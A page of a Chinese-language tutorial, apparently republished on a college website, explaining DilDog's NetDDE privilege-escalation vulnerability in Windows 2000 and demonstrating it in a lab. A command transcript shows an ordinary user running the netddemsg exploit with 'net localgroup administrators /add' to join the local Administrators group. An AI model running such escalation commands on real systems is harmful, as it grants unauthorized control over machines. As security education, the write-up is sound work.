您现在的位置: 湖南软件学院CRP网站群 >> 学院动态 >> 网络技术 >> 新闻正文
来源:未知 点击: 添加时间:2007-12-10 8:04:31
在W2K中提升权限的几个攻击实例之成败心得



利用Windows 2000中的Dynamic Data Exchange来提升权限:
  我是在www.atstake.com网站的Security Advisory栏目(2001年2月版)看到这篇文章:“NetDDE Message Vulnerability”,作者是DilDog。搞这一行有些日子的人大概都看过他的另一篇非常有名、非常经典的文章:“The Tao of Windows Buffer Overflow”;这篇文章被其他人引用的次数很多,如果拿这篇文章的引用率来评职称,肯定是非常的Solid----就是很硬的意思!

  在那一篇文章中,他详细地介绍了在Windows NT系统中如何发现NetMeeting的缓冲区溢出,如何一步一步编写黑客码去Exploit这个缺口(Vulnerability)。实际上,在前面两章的Exploit试验中我所用到的罗马大道“Jmp esp”,以及函数指令表都直接或间接地借鉴了他的思路。有兴趣的朋友可以到下面的网页去拜读一下这篇大作: http://www.cultdeadcow.com/cDc_files/cDc-351/index.html好,回到正题:如何利用Dynamic Data Exchange来提升权限?我们曾经提到过,在Windows操作系统有多种Interprocess Communication的方法,Named Pipe是常见的一种,而Dynamic Data Exchange(DDE)则是另一种常见的方法,它是通过共享内存来实现不同进程间的动态数据交换。这些动态交换的数据叫DDE Share,它们由DDE Server创建并由Network DDE DSDM (DDE share database manager)服务进程管理。你可以在Dos窗口下运行命令DDESHARE来显示你计算机上的DDE Share,常见的DDE Share有Chat$、CLPBK$、Hearts$。当管理DDE Share的Network DDE DSDM服务进程运行时,Winlogon会在当前登录用户的Desktop产生一个隐藏式的Window,这个隐藏式的Window名字为"NetDDE Agent",是一个"NDDEAgnt"类的window class,它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换。由于它由Winlogon创建,这个Window的进程就以Local System的权限运行在登录用户的Desktop上,只不过用户看不到它而已。"NetDDE Agent"还有另外一个辅助功能:当DDE Client试图连接到一个Trueted的DDE Share时,如果"NetDDE Agent"发现创建这个DDE Share的DDE Server尚未运行,它会主动启动这个Server。记住"NetDDE Agent"进程是具有Local System权限的,所以它启动Server没有一点问题。根据DilDog的研究,这个隐藏式的"NetDDE Agent"就是一个缺口(Vulerability)!还记得Window操作系统中的函数SendMessage()吗?登录用户可以利用这个函数向Desktop上的任何Window发送Message,即使这个Window不属于当前登录用户。所以黑客在以一般用户的身份登录后,可以用SendMessage()发送一个WM_COPYDATA message给"NetDDE Agent",这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容:
1。 一个Trusted DDE Share的名字,比如说Chat$;
2。 一个用于启动DDE Server的命令,如果"NetDDE Agent"发现创建Chat$的DDE Server尚未运行,就根据这个命令来启动DDE Server。但是黑客可以任选一个命 令来伪造,比如说“Net Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了;
3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的,而不应该固定 不变。我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明 WM_COPYDATA message是由合法程序(而不是黑客程序)发出的,所以它们应该随机 变化而不让黑客轻易得到。当"NDDEAgnt"接收到WM_COPYDATA message时,它核对后会发现第三部分的字节正确无误,而且Trusted DDE Share确实存在,於是它就执行黑客命令,由于"NDDEAgnt"具有Local System权限,它可以顺利地让阿猫同志光荣地加入本地Administrator Group。DilDog在文章中还附带了一个Exploit程序netddemsg,我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators Group的:
/*
先以我的用户账号“moda”登录dallas。

看看本地administrators Group有哪些成员:
*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the

Members
-----------------------------------------------------------------------------
a_mao
Administrator

The command completed successfully.
/*
本地administrators Group目前只有两个成员,Administrator和a_mao。试着把“moda”加入到本地administrators Group中:
*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda

System error 5 has occurred.

Access is denied.
/*
我的权限显然不够,所以得到error 5。

运行DilDog的Exploit程序,同时附带上我的黑客命令:
*/
D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$ net localgroup administrators /add moda

/*
程序运行结束,让我们看看“moda”是否加入本地administrators Group:
*/

D:\MyJob\securitylab\netddemsg\Debug>
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators Alias name administrators
Comment Administrators have complete and unrestricted access to the Members

-----------------------------------------------------------------------------
a_mao
Administrator
moda
The command completed successfully.


D:\MyJob\securitylab\netddemsg\Debug>

/*
我也光荣地加入了本地administrators Group
*/

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页


新闻录入:ics_htj 责任编辑:信息化中心

湖南软件职业学院信息化中心 Ver.2007© 美工:刘国鹂 程序:杨小刚
学院地址:长沙市天心区新开铺路1186号  电话:0731-6938121(传真) 6938122